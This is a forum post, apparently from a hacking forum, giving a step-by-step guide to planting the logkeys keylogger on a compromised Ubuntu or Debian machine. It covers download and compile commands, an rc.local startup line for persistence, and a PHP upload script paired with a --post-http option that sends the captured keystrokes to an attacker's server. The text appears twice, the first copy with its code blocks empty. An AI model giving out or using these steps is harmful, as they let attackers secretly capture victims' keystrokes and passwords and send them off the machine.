Debian/Ubuntu Keylogger 05-21-2015, 09:28 PM
#1
This is a simple way of logging keys on a compromised Ubuntu machine (If You Got R00t!)
Download LKL on to the target machine:
Code:
Unpack the archive:
Code:
Cd into the newly created logkeys folder:
Code:
Now let's compile it:
Code:
If you have root or you have access to sudo install it:
Code:
You can add logkeys to startup by editing /etc/rc.local or /etc/rc.d/rc.local and adding:
Code:
// taken from the wiki you can modify this to your needs, also make sure it's before the final exit 0 call.
You can even have it upload the logs via http, first upload the following to your host:
PHP Code:
Now add the following to your startup code:
Code:
If you get build errors ensure build-essential (Ubuntu) or apt-get install g++ (Debian), don't forget to make your logkeys executable if you plant it sneakily in your own special place.
References:
Documentation
Credits go to the original developer: kernc...@Gmail.com
Download LKL on to the target machine:
Code:
Code:
wget https://logkeys.googlecode.com/files/logkeys-0.1.1a.tar.gzUnpack the archive:
Code:
Code:
tar -xvzf logkeys-0.1.1a.tar.gzCd into the newly created logkeys folder:
Code:
Code:
cd logkeys-0.1.1aNow let's compile it:
Code:
Code:
./configure; makeIf you have root or you have access to sudo install it:
Code:
Code:
make installYou can add logkeys to startup by editing /etc/rc.local or /etc/rc.d/rc.local and adding:
Code:
Code:
logkeys --start --keymap=/home/I/custom_key.map --output=/home/I/custom.log --device=event4You can even have it upload the logs via http, first upload the following to your host:
PHP Code:
PHP Code:
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
if ($file['error'] === UPLOAD_ERR_OK)
move_uploaded_file($file['tmp_name'], 'new.log');
}
?>Now add the following to your startup code:
Code:
Code:
--post-http=http://your.doma.in/upload.php --post-size=100kbIf you get build errors ensure build-essential (Ubuntu) or apt-get install g++ (Debian), don't forget to make your logkeys executable if you plant it sneakily in your own special place.
References:
Documentation
Credits go to the original developer: kernc...@Gmail.com
Donate to CyphrXCloud BTC: 1JvN52pFLhicNPgvqXgEcdDzEP895wUTKa
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)














